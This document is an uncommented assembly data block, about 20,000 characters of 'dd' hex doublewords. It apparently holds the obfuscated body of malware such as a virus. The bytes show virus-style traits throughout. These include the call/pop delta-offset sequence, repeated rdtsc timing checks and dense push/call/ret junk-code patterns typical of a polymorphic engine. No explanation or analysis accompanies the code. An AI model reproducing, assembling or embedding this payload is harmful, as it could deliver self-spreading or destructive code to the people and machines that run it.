		dd 8104246Ch, 1B042444h, 45000000h, 0F9D4C355h,	84AE97D6h
		dd 0BF0FD615h, 0F006ADFh, 0BD29FFBFh, 61E04B9h,	0EE9006Ah
		dd 5000000h, 0FA68F83h,	2944BB72h, 0A6357056h, 0ED95FFF5h
		dd 8B061E21h, 1E1D699Dh, 0B68D8D06h, 89062194h,	1E30219Dh
		dd 0BBB06006h, 11E9h, 52867C00h, 5D5C7659h, 0F4FE446Ah
		dd 0BCD83F8Eh, 0FF6146FAh, 51B589D1h, 83061E00h, 1E272DBDh
		dd 850F0106h, 8Ah, 840F026Ah, 0Ch, 6840Fh, 0F7810000h
		dd 4B551957h, 0FE85190h, 34000000h, 0CFF1CE0h, 9B83B1F7h
		dd 5F8AAA5Bh, 52505368h, 585A310Fh, 8B505F5Fh, 6A90FEh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 160424h, 56460000h
		dd 93401FC3h, 14B59D89h, 0F60061Eh, 0BD89C0B7h,	61E0A1Dh
		dd 0F995FF61h, 6A061E32h, 3E85500h, 20000000h, 895DC35Dh
		dd 8104246Ch, 17042444h, 45000000h, 0D2BC355h, 0A6E96F10h
		dd 0E800000Dh, 0
		dd 0BCED815Dh, 6A0622C0h, 3E85200h, 20000000h, 895AC35Ah
		dd 81042454h, 1A042444h, 42000000h, 0C6BFC352h,	4AAE858Bh
		dd 1BD0344h, 8D061E2Bh,	218DFE85h, 51006A06h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1A04h,	0C3514100h, 27A6F74Bh
		dd 89FB7DCBh, 1E192195h, 52509006h, 0F98A5250h,	0BE8310Fh
		dd 0CD000000h, 1ABB68F7h, 0B0A21491h, 5A5B8E48h, 50310F58h
		dd 0DEC8BF52h, 310F5261h, 585A5F51h, 6050585Ah,	0EE8h
		dd 70B74400h, 745CFFECh, 0F145EF55h, 50BD6BCAh,	5A310F52h
		dd 52505B58h, 1CF3B966h, 585A310Fh, 6A9061h, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 1C0424h, 51410000h, 7C7BB9C3h
		dd 53277EA7h, 0FF64FD83h, 35h, 0DBB70F00h, 258964h, 8B000000h
		dd 9185FFDFh, 6A061E1Dh, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 1B042444h, 40000000h, 3700C350h, 0BF977D0Fh
		dd 8E0F2E79h, 0Eh, 49BD8960h, 9061E19h,	1E29898Dh, 0FF6A6106h
		dd 381B589h, 9531061Eh,	61E21F9h, 13E5B5FFh, 6A061Eh, 3E852h
		dd 5A200000h, 54895AC3h, 44810424h, 170424h, 52420000h
		dd 0BBB699C3h, 85895158h, 61E1919h, 5595FF5Fh, 0E9061E16h
		dd 10Ah, 0E75FBB66h, 0B0FA8Bh, 7E19501h, 2352061Eh, 1E339D9Dh
		dd 70E65F06h, 11E9h, 0ECBB9A00h, 0A5FF4B98h, 0CC630027h
		dd 7EE667CCh, 71E49150h, 3CFBBF0Fh, 0CF830F61h,	89000000h
		dd 1E33598Dh, 0C8B60F06h, 743EBF57h, 0BA5F7B33h, 6, 8C6195BBh
		dd 0C1C18B29h, 0EF8004E8h, 0E2F766DCh, 2CF58589h, 0BD8B061Eh
		dd 61E0279h, 0BD8BC82Bh, 61E15EDh, 0BF66D18Bh, 8BE99B83h
		dd 66000000h, 8B5EC2BFh, 185h, 7C08300h, 0C083FE8Bh, 0FD03B00h
		dd 0E83h, 9FBF6600h, 68E9E3h, 81660000h, 8BFFE4D3h, 0FFFFFF8Dh
		dd 719D01FFh, 83061E02h, 840F01E1h, 4Eh, 6830Fh, 9D010000h
		dd 61E2E8Dh, 0FFFFA583h, 66FEFFFFh, 60E8D8BBh, 0CF98589h
		dd 13E8061Eh, 1A000000h, 0AB8FBE26h, 15CD7CA9h,	0A058FC65h
		dd 7163D328h, 8D8B4F2Eh, 61E0465h, 9589615Bh, 1, 0B1BDB5BBh
		dd 0E97Bh, 0B58D0000h, 6223F89h, 6AFB8B66h, 55006A00h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1D04h, 0C3554500h
		dd 98C8A130h, 0E8199737h, 9D8B1D2Ch, 61E0769h, 5820Fh
		dd 81660000h, 0FFB686EFh, 1E26C195h, 10A4B906h,	6A0000h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 1D0424h, 50400000h
		dd 0B820AAC3h, 1EDE222Bh, 0E93836B5h, 7, 3444528h, 8359268Fh
		dd 6AFCE1h, 3E850h, 58200000h, 448958C3h, 44810424h, 1A0424h
		dd 50400000h, 0F058ACC3h, 0C3CD0A29h, 2C05B589h, 8529061Eh
		dd 61E1CB1h, 68B0Fh, 0DB810000h, 10EC8AAh, 498D89FCh, 2B061E00h
		dd 50006AC0h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1504h
		dd 0C3504000h, 8531A17Ch, 61E163Dh, 0DF51BB66h,	10E9h
		dd 4F83200h, 72300E7Dh,	10548626h, 71C8C08Ch, 0BA85h, 6A0000h
		dd 3E852h, 5A200000h, 54895AC3h, 44810424h, 1C0424h, 52420000h
		dd 3847B9C3h, 7E6914B6h, 9D8BE371h, 61E1E69h, 0D1C233ADh
		dd 83D003E8h, 0F47504E9h, 0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 15h, 0F3C35141h, 0FFBF0F7Bh, 2870F51h, 50000000h
		dd 9D8B5B5Bh, 61E1A25h,	880Dh, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1404h,	0C3574700h, 5958960h, 0E9061E04h
		dd 13h,	9FFE7193h, 0D2D08095h, 0FEAEF161h, 0FD8AC03Eh
		dd 8B3487B6h, 1E237595h, 0F7816606h, 8D8B5916h,	61E324Dh
		dd 2C299D33h, 0D381061Eh, 773FA362h, 8BC28B50h,	8BC10318h
		dd 0D1C18B18h, 8BC203E8h, 0B5895818h, 61E018Dh,	33C78166h
		dd 59BD8396h, 61E02h, 56840Fh, 0BB660000h, 0B87F3Fh, 6A000000h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 92C2C351h, 4CB88D8Dh, 6A061Eh, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 150424h, 53430000h, 66A6EBC3h
		dd 1912EF81h, 8D09E1FFh, 61E26B1h, 3169BD83h, 0F00061Eh
		dd 42A84h, 68F0F00h, 8B000000h,	1E3065BDh, 75BD8B06h, 83061E17h
		dd 1E3169BDh, 840F0106h, 426h, 0E857006Ah, 3, 5FC35F20h
		dd 4247C89h, 4244481h, 17h, 71C35747h, 8B79DCA8h, 69BD83D8h
		dd 3061E31h, 3C2860Fh, 0BD330000h, 61E1CB9h, 0DE9h, 33850E00h
		dd 2ECA724Ch, 15BC6912h, 8B60EFDEh, 1E00A5BDh, 0F9B70F06h
		dd 6AD98C66h, 3E85200h,	20000000h, 895AC35Ah, 81042454h
		dd 15042444h, 42000000h, 0E3A5C352h, 6A04E180h,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 15042444h, 47000000h
		dd 0A17EC357h, 9E9h, 1A6EFA00h,	0E74A6356h, 0C90A3DF5h
		dd 103840Fh, 12E90000h,	0BB000000h, 0D0EE3279h,	0A621C810h
		dd 0B095CFB9h, 8EA53405h, 11858B5Eh, 6A061E1Ah,	3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1C042444h, 47000000h
		dd 0C131C357h, 5E4AC833h, 50B1D760h, 1A159509h,	335B061Eh
		dd 1E14BD85h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1804h, 0C3524200h, 0AC19E3ADh, 0F19D330Fh, 8B061E1Ah
		dd 1E1A65BDh, 4895006h,	0D98B6624h, 0CE68006Ah,	6611B4ABh
		dd 3481D98Bh, 0ABA83124h, 51006A11h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1804h,	0C3514100h, 95894E0Fh
		dd 15B589CAh, 0FF061E02h, 1E144195h, 319D8B06h,	89061E15h
		dd 21B02785h, 52006A06h, 3E8h, 0C35A2000h, 2454895Ah, 24448104h
		dd 1A04h, 0C3524200h, 0D18C2FCCh, 8938A95Fh, 1E1F5D9Dh
		dd 3573BB06h, 0DCE95C52h, 8B000001h, 1E1921BDh,	1F858B06h
		dd 890621B0h, 1E1A858Dh, 1800C706h, 2B000000h, 1E297D9Dh
		dd 23B58B06h, 6A0621B0h, 3E85000h, 20000000h, 8958C358h
		dd 81042444h, 19042444h, 40000000h, 0BBAC350h, 93365EE8h
		dd 1C31BD03h, 8D89061Eh, 61E308Dh, 1CC9858Bh, 6A061Eh
		dd 3E856h, 5E200000h, 74895EC3h, 44810424h, 190424h, 56460000h
		dd 0B87AAFC3h, 89208AA5h, 0FDBD8B06h, 8B061E13h, 1E2A69BDh
		dd 11858B06h, 6A061E1Ah, 3E85100h, 20000000h, 8959C359h
		dd 8104244Ch, 18042444h, 41000000h, 7994C351h, 663899E5h
		dd 481AF381h, 82EB8166h, 44689B5h, 0DE8h, 36615100h, 0FF6B1C0Ch
		dd 9AF4AA85h, 0BE99CE3h, 0FB000000h, 0AF920F1h,	9373CB3Dh
		dd 0F5F47E4h, 86h, 0AE89600h, 0D6000000h, 0E1EC52CBh, 0E517CA55h
		dd 58C0F97h, 0BF000000h, 5C860088h, 0FA8B505Fh,	55006A96h
		dd 3E8h, 0C35D2000h, 246C895Dh,	24448104h, 1904h, 0C3554500h
		dd 945E96F6h, 9D8BB443h, 61E179Dh, 0B01FB5FFh, 6A0621h
		dd 3E850h, 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 330D74C3h, 36032268h, 240481A6h, 59E900DDh, 2AE18509h
		dd 858D061Eh, 621B027h,	0FE9h, 3186FD00h, 89CE0EB3h, 17633915h
		dd 71A287C4h, 6FB46050h, 8961D98Bh, 6A2404h, 3E853h, 5B200000h
		dd 5C895BC3h, 44810424h, 1D0424h, 53430000h, 733905C3h
		dd 4EA61C19h, 29E8B002h, 1E20C58Dh, 4195FF06h, 6A061E14h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1A042444h
		dd 47000000h, 0BAFAC357h, 54F06D3Ch, 11CF816Ah,	61538F06h
		dd 0CE9h, 4781D500h, 7BBBE7B0h,	7A9EBFC6h, 6985C701h, 3061E31h
		dd 0B000000h, 1E16599Dh, 0DE8B6606h, 0B027BD83h, 0F000621h
		dd 3F84h, 50006A00h, 3E8h, 0C3582000h, 24448958h, 24448104h
		dd 1604h, 0C3504000h, 0E976B825h, 37h, 0E850006Ah, 3, 58C35820h
		dd 4244489h, 4244481h, 14h, 9BC35040h, 110C3050h, 1114400h
		dd 3010E8C1h, 21144h, 5803114Ch, 7504E983h, 5036EBE7h
		dd 110430h, 0C1011164h,	443010E8h, 64000211h, 83580311h
		dd 0E77504E9h, 0C1501BEBh, 642810E8h, 44300311h, 28580211h
		dd 30011164h, 0E9831104h, 0EBE77504h, 81C08B00h, 0B034ECD3h
		dd 50006A25h, 3E8h, 0C3582000h,	24448958h, 24448104h, 1904h
		dd 0C3504000h, 0CB7A8894h, 8D0FD466h, 5, 0D5C38166h, 69BD83EDh
		dd 3061E31h, 425850Fh, 6A0000h,	3E857h,	5F200000h, 7C895FC3h
		dd 44810424h, 150424h, 57470000h, 83B5A2C3h, 21B027BDh
		dd 840F0006h, 3FBh, 65373DBBh, 27B5FF1Eh, 0E90621B0h, 0Ah
		dd 275AA88Fh, 0E9FE33CFh, 95FF5842h, 61E1555h, 0E853006Ah
		dd 3, 5BC35B20h, 4245C89h, 4244481h, 16h, 9CC35343h, 0B58B8BECh
		dd 621B01Bh, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 18h,	0EC35646h, 5C2AC205h, 39BD8BF8h, 0C7061E2Bh, 1000106h
		dd 0BF669600h, 5150BBD1h, 1B959DBFh, 6A965B41h,	3E85300h
		dd 20000000h, 895BC35Bh, 8104245Ch, 1C042444h, 43000000h
		dd 2B0EC353h, 0E8E9B428h, 66B6671Ch, 0B5FFFE8Bh, 621B027h
		dd 4799D23h, 8D31061Eh,	61E31C1h, 2B3D95FFh, 6A061Eh, 3E851h
		dd 59200000h, 4C8959C3h, 44810424h, 180424h, 51410000h
		dd 3BDDDCC3h, 0F88A3808h, 0B01BB58Bh, 6A0621h, 3E857h
		dd 5F200000h, 7C895FC3h, 44810424h, 150424h, 57470000h
		dd 8B8C5CC3h, 1E2A2185h, 57006A06h, 3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1D04h, 0C3574700h, 6094E502h, 0AC56BDEDh
		dd 8689BD42h, 0C4h, 0E851006Ah,	3, 59C35920h, 4244C89h
		dd 4244481h, 1Ch, 0ECC35141h, 7910C7D3h, 0E0D2A969h, 7E9h
		dd 39180C00h, 0AA6988h,	2375958Bh, 6A061Eh, 3E857h, 5F200000h
		dd 7C895FC3h, 44810424h, 140424h, 57470000h, 0C2832CC3h
		dd 63DDBF04h, 50890F68h, 50006A20h, 3E8h, 0C3582000h, 24448958h
		dd 24448104h, 1604h, 0C3504000h, 8193FC26h, 92223BC3h
		dd 0EE9604Bh, 0C2000000h, 0DD5F65F6h, 2B2286CCh, 0B8FF28ECh
		dd 8E970h, 8DDE0000h, 884117B6h, 8D617201h, 21C4A485h
		dd 51858906h, 89061E03h, 0B886h, 6AD88A00h, 56006A00h
		dd 3E8h, 0C35E2000h, 2474895Eh,	24448104h, 1804h, 0C3564600h
		dd 0BF92DF56h, 0A58D29CAh, 0FF061E12h, 21B027B5h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1C04h, 0C3514100h
		dd 328EF141h, 0FF84C89Dh, 0DE9E4h, 63A40000h, 4B84D490h
		dd 9797C5ABh, 0FFAF9679h, 1E32F995h, 6E806h, 0E5DA0000h
		dd 4253D8FCh, 23798D89h, 505F061Eh, 7E85652h, 0D5000000h
		dd 0A2D1195Eh, 5F5BAECBh, 2434895Bh, 0E856006Ah, 3, 5EC35E20h
		dd 4247489h, 4244481h, 1Bh, 77C35646h, 2390E8BDh, 0E9FF20C7h
		dd 6, 0CB95C06Fh, 0B5FF7B0Bh, 621B027h,	0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Dh, 0AC35040h, 83ADDE63h
		dd 8F39E9B7h, 0BF5153FCh, 1ADA6B5Dh, 0BF665B5Fh, 95FF18F0h
		dd 61E3049h, 1398589h, 0BD83061Eh, 61E0DB9h, 48840F00h
		dd 6A000000h, 3E85100h,	20000000h, 8959C359h, 8104244Ch
		dd 14042444h, 41000000h, 5037C351h, 348903B3h, 53006A24h
		dd 3E8h, 0C35B2000h, 245C895Bh,	24448104h, 1A04h, 0C3534300h
		dd 8F82996Fh, 66FCDD4Fh, 0FFF8F8BBh, 21B027B5h,	0FFD88B06h
		dd 1E164D95h, 0CDA5BB06h, 0B5FF66A4h, 621B027h,	9DD95FFh
		dd 6A061Eh, 3E853h, 5B200000h, 5C895BC3h, 44810424h, 1B0424h
		dd 53430000h, 5A756DC3h, 1A466DE2h, 0FAB70F3Eh,	2BD9BD83h
		dd 0F02061Eh, 5684h, 57006A00h,	3E8h, 0C35F2000h, 247C895Fh
		dd 24448104h, 1504h, 0C3574700h, 958993EEh, 61E1F05h, 0E2D858Bh
		dd 0FF9061Eh, 87h, 0C600h, 0E856006Ah, 3, 5EC35E20h, 4247489h
		dd 4244481h, 1Bh, 0F0C35646h, 1FAEC082h, 0C760B734h, 1E1F8185h
		dd 6, 3AEF8100h, 0E93FDC09h, 0FFFFF392h, 8B94D380h, 0B58960C1h
		dd 61E1E75h, 0DD858D61h, 89061E19h, 1E145D95h, 52505006h
		dd 0CE8h, 0AD6BDA00h, 0B94EFF4Eh, 8D7FFAE7h, 5BD88BCDh
		dd 38BF310Fh, 5A76AAF4h, 24048958h, 0E850006Ah,	3, 58C35820h
		dd 4244489h, 4244481h, 1Ch, 0F3C35040h,	69BB2D78h, 179BEFCBh
		dd 3185BD0Bh, 6A061Eh, 21EB8166h, 31006A89h, 1E19D9B5h
		dd 9E858D06h, 6A0622D0h, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 18042444h, 46000000h, 0A7A4C356h,	50DA05D6h
		dd 1D959D89h, 895B061Eh, 1E214D8Dh, 5C08306h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 19h, 29C35040h, 72A530D7h
		dd 12E809h, 10FC0000h, 6273EC44h, 1885E5BDh, 1CBE3518h
		dd 0DB6C567Dh, 839BD03h, 895B061Eh, 1E2B0DB5h, 9E95006h
		dd 0BC000000h, 83CBAD56h, 0B6479B5h, 6A240489h,	3E85200h
		dd 20000000h, 895AC35Ah, 81042454h, 19042444h, 42000000h
		dd 16EC352h, 0D41B1418h, 6850Fh, 8D890000h, 61E0A11h, 0B589006Ah
		dd 61E1B35h, 6A03B3h, 0E856006Ah, 3, 5EC35E20h,	4247489h
		dd 4244481h, 14h, 0BDC35646h, 6870Fh, 85290000h, 61E3211h
		dd 0FFFAB70Fh, 1E21ED95h, 11E906h, 43230000h, 4B4339B5h
		dd 7AE807F8h, 21AD642Bh, 8D456851h, 2194B68Dh, 0CB805006h
		dd 0D1FF5B72h, 0E856006Ah, 3, 5EC35E20h, 4247489h, 4244481h
		dd 16h,	0EAC35646h, 14E835B8h, 88000000h, 65FF0B7Fh, 7514721Eh
		dd 0B7E1FEFBh, 0B8AA7107h, 8BD2C775h, 1E2DB59Dh, 0BD835F06h
		dd 61E272Dh, 73850F01h,	8B000000h, 6A026AFEh, 3E85600h
		dd 20000000h, 895EC35Eh, 81042474h, 16042444h, 46000000h
		dd 1400C356h, 68D0F43h,	8B000000h, 1E13619Dh, 5B579006h
		dd 0DA8B6650h, 359D8B90h, 0FF061E29h, 1E32F995h, 52006A06h
		dd 3E8h, 0C35A2000h, 2454895Ah,	24448104h, 1A04h, 0C3524200h
		dd 0FA4E6Eh, 0FFBC2BCh,	988h, 3810F00h,	66000000h, 7BE9D98Bh
		dd 0E800000Dh, 0
		dd 0A8ED815Dh, 530622D0h, 6A5BFCh, 3E851h, 59200000h, 4C8959C3h
		dd 44810424h, 150424h, 51410000h, 60DCB2C3h, 92D051B8h
		dd 5DBD3148h, 61061E2Fh, 2C2D9D01h, 0E1BF061Eh,	8D3449B9h
		dd 218DFE85h, 55006A06h, 3E8h, 0C35D2000h, 246C895Dh, 24448104h
		dd 1504h, 0C3554500h, 0DE92E71h, 0A9000000h, 427C28C3h
		dd 0B7EF97EDh, 5B295335h, 0FE9h, 0F704FA00h, 0B427A99h
		dd 0C8DEC450h, 0FF2F158Fh, 50B4B390h, 75BF6650h, 0F9905BA1h
		dd 1FE98D29h, 0FF64061Eh, 35h, 57006A00h, 3E8h,	0C35F2000h
		dd 247C895Fh, 24448104h, 1604h,	0C3574700h, 6482846Dh
		dd 2589h, 6A0000h, 3E856h, 5E200000h, 74895EC3h, 44810424h
		dd 1D0424h, 56460000h, 0B903EEC3h, 89C88842h, 0F1E515Fh
		dd 85FFDABFh, 61E1D91h,	0E853006Ah, 3, 5BC35B20h, 4245C89h
		dd 4244481h, 1Ch, 53C35343h, 4A5A8D3Ah,	651DA848h, 4DB589h
		dd 0BD8B061Eh, 61E142Dh, 6AFF6Ah, 3E850h, 58200000h, 448958C3h
		dd 44810424h, 140424h, 50400000h, 0B5FF68C3h, 61E1EB5h
		dd 95FFF98Bh, 61E1655h,	139E9h,	6DBD8B00h, 0B0061E20h
		dd 8E900h, 43020000h, 0CC61C74Ah, 70E6ECEAh, 937BF66h
		dd 0BF6671E4h, 613C4212h, 110830Fh, 12E90000h, 84000000h
		dd 776EC1F2h, 9F92FF02h, 0D583ABD9h, 2C8FE935h,	0C8B60F5Ah
		dd 6BAD88Bh, 89000000h,	1E09A585h, 8BD88B06h, 6800FC1h
		dd 81000000h, 98A6FEEBh, 4E8C109h, 15E1BD8Bh, 0F766061Eh
		dd 0C5DF81E2h, 0E913C86Bh, 6, 6313EEC7h, 0C82B4631h, 66F054BBh
		dd 0E9D18B4Fh, 0Ah, 63DAEF24h, 422DC92Eh, 9FE92374h, 81000000h
		dd 0F0C541EFh, 4858B41h, 0BF000000h, 2166C5D9h,	0F807C083h
		dd 8B00C083h, 1E32959Dh, 0FD03B06h, 1B83h, 0C850F00h, 0F000000h
		dd 689h, 850F00h, 0E9000000h, 62h, 0D515BB66h, 0FFFF8D8Bh
		dd 830FFFFFh, 6, 2789BD29h, 0DE9061Eh, 97000000h, 0DE109660h
		dd 2B1F6BFCh, 0A2A7004Bh, 0F01E183h, 3184h, 0FFA58300h
		dd 0FEFFFFFFh, 0F7F78166h, 8160531Fh, 0DE92B6C2h, 61C38A05h
		dd 495895Bh, 8B000000h,	1E1405BDh, 95295306h, 61E1BADh
		dd 0E95Bh, 0B58D0000h, 622502Dh, 0FE9h,	0DBF20600h, 0BFD5AD10h
		dd 1420F6D7h, 71D46B23h, 9FCB8166h, 6A006AC9h, 3E85700h
		dd 20000000h, 895FC35Fh, 8104247Ch, 1A042444h, 47000000h
		dd 45C7C357h, 6A184759h, 0D88B66B1h, 26C195FFh,	8166061Eh
		dd 0B9BD38E7h, 0EDFh, 0EE9h, 0E0DB6200h, 0C731727Dh, 0C08A452Eh
		dd 831331E6h, 0B70FFCE1h, 8160FCFFh, 639781F7h,	8509601Eh
		dd 61E02FDh, 14E9h, 0EAA87F00h,	9D1CDE30h, 0AD89D02h, 0E2EAA2D6h
		dd 80BED1DDh, 0B86161A3h, 0
		dd 0E857006Ah, 3, 5FC35F20h, 4247C89h, 4244481h, 19h, 70C35747h
		dd 355E596Ah, 2BFE8B24h, 108D0FD2h, 0E8000000h,	8, 21A6D9C0h
		dd 4731F214h, 0AD5B5F52h, 0E8D1C233h, 0E983D003h, 6AF47504h
		dd 3E85100h, 20000000h,	8959C359h, 8104244Ch, 15042444h
		dd 41000000h, 0A23BC351h, 0B447F381h, 6A6C7Ch, 3E850h
		dd 58200000h, 448958C3h, 44810424h, 160424h, 50400000h
		dd 0FE7A6DC3h, 89D88B66h, 1E179DB5h, 880D06h, 0E8600000h
		dd 13h,	0E4CEC327h, 395576D0h, 0DD8B7E23h, 42176140h, 0FC86A146h
		dd 0ADBD8958h, 61061E05h, 62EEEF81h, 958B2959h,	61E2375h
		dd 324D8D8Bh, 0B70F061Eh, 0C28B50FBh, 0C103188Bh, 0C18B188Bh
		dd 0C203E8D1h, 6A58188Bh, 3E85700h, 20000000h, 895FC35Fh
		dd 8104247Ch, 14042444h, 47000000h, 669DC357h, 0AFB6CB81h
		dd 2800F51h, 60000000h,	0BD835B61h, 61E0259h, 0A7840F00h
		dd 60000000h, 0FC9B70Fh, 68Dh, 21BD8900h, 61061E2Ch, 0B8h
		dd 53006A00h, 3E8h, 0C35B2000h,	245C895Bh, 24448104h, 1B04h
		dd 0C3534300h, 57545B4Dh, 3EB178E7h, 11E8h, 6E619900h
		dd 37349FD7h, 2A2AC893h, 0FB88CB74h, 0D7813403h, 0D492436h
		dd 8D8DF85Fh, 61E4CB8h,	0E855006Ah, 3, 5DC35D20h, 4246C89h
		dd 4244481h, 16h, 0A3C35545h, 0E1FF04D1h, 0E850006Ah, 3
		dd 58C35820h, 4244489h,	4244481h, 1Ch, 7FC35040h, 61455F3h
		dd 740D4774h, 2799589h,	0BD83061Eh, 61E3169h, 2E840F00h
		dd 0B3000004h, 69BD83F1h, 1061E31h, 43A840Fh, 6A0000h
		dd 3E851h, 59200000h, 4C8959C3h, 44810424h, 1B0424h, 51410000h
		dd 357C31C3h, 799C010Ah, 0ED8D899Dh, 83061E22h,	1E3169BDh
		dd 860F0306h, 3CEh, 0C5BD8B50h,	5F061E0Ch, 51006A60h, 3E8h
		dd 0C3592000h, 244C8959h, 24448104h, 1604h, 0C3514100h
		dd 1B9C752h, 1E0F118Dh,	89606006h, 1E1FB195h, 10E906h
		dd 0E7490000h, 9260734Ah, 52DE4ECAh, 16AB2681h,	66610FEBh
		dd 6661CF8Bh, 0E180D98Ch, 55006A04h, 3E8h, 0C35D2000h
		dd 246C895Dh, 24448104h, 1804h,	0C3554500h, 0C61873E2h
		dd 14E88Eh, 6BF80000h, 4C6BDB0Bh, 403175AAh, 7AAD5F75h
		dd 0EE69A43Eh, 7E9473Dh, 0CD000000h, 0B5F1D6FBh, 0E95BF7BFh
		dd 0Ch,	2CF88AEDh, 0C323AC8Dh, 2DC519EAh, 840FC90Ah, 11Ah
		dd 8880Fh, 860F0000h, 2, 858B6160h, 61E1A11h, 0E850006Ah
		dd 3, 58C35820h, 4244489h, 4244481h, 18h, 0EDC35040h, 623DAB63h
		dd 33DBBF0Fh, 1E14BD85h, 0F19D8B06h, 90061E04h,	0CC4B43BBh
		dd 0FA8B5033h, 55006A90h, 3E8h,	0C35D2000h, 246C895Dh
		dd 24448104h, 1504h, 0C3554500h, 6AF99AC2h, 4DBD8B00h
		dd 68061E01h, 0CD260419h, 0E6240481h, 8932F8FFh, 1E2005B5h
		dd 6860F06h, 9000000h, 1E1D5DB5h, 4195FF06h, 6A061E14h
		dd 3E85000h, 20000000h,	8958C358h, 81042444h, 1D042444h
		dd 40000000h, 0E1D4C350h, 7F1D2A2Dh, 0DC0E11B6h, 99D38166h
		dd 8589F5A4h, 621B027h,	0E852006Ah, 3, 5AC35A20h, 4245489h
		dd 4244481h, 15h, 52C35242h, 0BD8B6048h, 61E03DDh, 9873BE66h
		dd 0EB816661h, 99E90E6Fh, 6A000001h, 3E85200h, 20000000h
		dd 895AC35Ah, 81042454h, 16042444h, 42000000h, 0ED13C352h
		dd 858BF93Eh, 621B01Fh,	0C789B3h, 18h, 0B937BB66h, 23B58BF9h
		dd 6A0621B0h, 3E85000h,	20000000h, 8958C358h, 81042444h
		dd 17042444h, 40000000h, 4B26C350h, 8589423Dh, 61E1FD9h
		dd 2C29B589h, 858B061Eh, 61E1CC9h, 470DBF60h, 0D58030D4h
		dd 850F6180h, 6, 4498D01h, 689061Eh, 0FE9h, 0AF1A1100h
		dd 6D82D79Bh, 256A44E6h, 5EDB8F2h, 1A11858Bh, 6A061Eh
		dd 3E857h, 5F200000h, 7C895FC3h, 44810424h, 160424h, 57470000h
		dd 4E5384C3h, 44689F8h,	0E851006Ah, 3, 59C35920h, 4244C89h
		dd 4244481h, 19h, 76C35141h, 0BBB57C8h,	12E8500Bh, 0CF000000h
		dd 0D9D5CFF9h, 3E9B78E1h, 39E81CDBh, 1BAF9AB8h,	5F50B3E1h
		dd 50243489h, 21DD8D89h, 0FF5B061Eh, 21B01FB5h,	0A59D2906h
		dd 68061E20h, 285A33B6h, 81DF8B66h, 30492434h, 6A2845h
		dd 3E855h, 5D200000h, 6C895DC3h, 44810424h, 160424h, 55450000h
		dd 90BBAEC3h, 0B840Fh, 6E90000h, 17000000h, 92D63AB2h
		dd 5E9D0h, 0BEDA0000h, 8D1B9CDBh, 21B02785h, 51006A06h
		dd 3E8h, 0C3592000h, 244C8959h,	24448104h, 1804h, 0C3514100h
		dd 18EE0A00h, 83BF503Bh, 8955366Dh, 85012404h, 61E1F9Dh
		dd 144195FFh, 9D33061Eh, 61E2281h, 51006A61h, 3E8h, 0C3592000h
		dd 244C8959h, 24448104h, 1504h,	0C3514100h, 8B600E85h
		dd 1E1581B5h, 5E906h, 0B900000h, 61CE248Eh, 316985C7h
		dd 3061Eh, 880F0000h, 0Dh, 8E9h, 0DE59EA00h, 0A693154Bh
		dd 27BD83CBh, 621B0h, 2C840Fh, 0B5010000h, 61E2949h, 3CE9h
		dd 51006A00h, 3E8h, 0C3592000h,	244C8959h, 24448104h, 1904h
		dd 0C3514100h, 5B0E96E6h, 3050289Fh, 4400110Ch,	0E8C10111h
		dd 11443010h, 114C0002h, 0E9835803h, 0EBE77504h, 4305036h
		dd 11640011h, 10E8C101h, 2114430h, 3116400h, 4E98358h
		dd 1BEBE775h, 10E8C150h, 3116428h, 2114430h, 11642858h
		dd 11043001h, 7504E983h, 8B00EBE7h, 52006AC0h, 3E8h, 0C35A2000h
		dd 2454895Ah, 24448104h, 1C04h,	0C3524200h, 0D57EE54Ch
		dd 4B87382h, 0BDBD8BBDh, 80061E18h, 0FE8B37E3h,	6AE2E781h
		dd 0BD837346h, 61E3169h, 9E850F03h, 1000003h, 1E293985h
		dd 27BD8306h, 621B0h, 38B840Fh,	8BF50000h, 1E097DBDh, 27B5FF06h
		dd 660621B0h, 895C00BFh, 1E0551B5h, 5595FF06h, 6A061E15h
		dd 3E85700h, 20000000h,	895FC35Fh, 8104247Ch, 1B042444h
		dd 47000000h, 0DF21C357h, 0F3D63D77h, 0B58B7182h, 621B01Bh
		dd 106C7F8h, 50000100h,	14E9h, 5CB6F000h, 4BD2C29Dh, 2D620329h
		dd 3D168EDh, 9D8BBE8Ah,	243489E7h, 0E853006Ah, 3, 5BC35B20h
		dd 4245C89h, 4244481h, 1Dh, 0AEC35343h,	0E1E2868Ch, 8FA597F3h
		dd 23FA8AA8h, 1E1739BDh, 27B5FF06h, 890621B0h, 1E0C71BDh
		dd 3D95FF06h, 6A061E2Bh, 3E85600h, 20000000h, 895EC35Eh
		dd 81042474h, 14042444h, 46000000h, 66CDC356h, 8B6713BBh
		dd 1BB58BD9h, 6A0621B0h, 3E85300h, 20000000h, 895BC35Bh
		dd 8104245Ch, 1D042444h, 43000000h, 1106C353h, 936DF13Eh
		dd 28C9033Eh, 0C480BF66h, 2A21858Bh, 6A061Eh, 3E851h, 59200000h
		dd 4C8959C3h, 44810424h, 170424h, 51410000h, 569D88C3h
		dd 0C48689CCh, 1000000h, 1E01D5B5h, 75958B06h, 6A061E23h
		dd 3E85300h, 20000000h,	895BC35Bh, 8104245Ch, 1B042444h
